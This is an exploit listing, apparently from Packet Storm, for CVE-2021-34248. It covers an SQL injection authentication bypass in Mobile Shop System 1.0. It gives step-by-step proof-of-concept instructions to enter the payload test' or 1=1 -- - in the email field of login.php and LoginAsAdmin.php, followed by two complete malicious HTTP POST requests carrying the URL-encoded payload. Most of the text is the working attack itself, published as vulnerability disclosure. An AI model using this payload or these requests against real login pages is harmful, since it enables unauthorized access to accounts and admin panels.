Headline
CVE-2021-34248: Mobile Shop System 1.0 SQL Injection ≈ Packet Storm
SQL injection vulnerability in sourcecodester mobile-shop-system-php-mysql 1.0 allows remote attackers to log in via crafterdstring in the email field of the log in page.
# Title: Mobile Shop System v1.0 - SQLi lead to authentication bypass# Exploit Author: Moaaz Taha (0xStorm)# Date: 2020-09-08# Vendor Homepage: https://www.sourcecodester.com/php/14412/mobile-shop-system-php-mysql.html# Software Link: https://www.sourcecodester.com/download-code?nid=14412&title=Mobile+Shop+System+in+PHP+MySQL# Version: 1.0# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4# POC1- Go to "http://TARGET/mobileshop-master/login.php" or "http://TARGET/mobileshop-master/LoginAsAdmin.php"2- Inject this SQL payload (test' or 1=1 -- -) in email field and any password in password field.3- Click on "login", then you will bypass the authentication successfully.# Malicious HTTP POST RequestsPOST /mobileshop-master/login.php HTTP/1.1Host: 192.168.1.55:8888User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.1.55:8888/mobileshop-master/login.phpContent-Type: application/x-www-form-urlencodedContent-Length: 44Connection: closeUpgrade-Insecure-Requests: 1email=test%27+or+1%3D1+--+-&password=test123==========================================================================POST /mobileshop-master/LoginAsAdmin.php HTTP/1.1Host: 192.168.1.55:8888User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.1.55:8888/mobileshop-master/LoginAsAdmin.phpContent-Type: application/x-www-form-urlencodedContent-Length: 44Connection: closeCookie: PHPSESSID=d7c49f6634a208dca0624f2f6b1d27b6Upgrade-Insecure-Requests: 1email=test%27+or+1%3D1+--+-&password=test123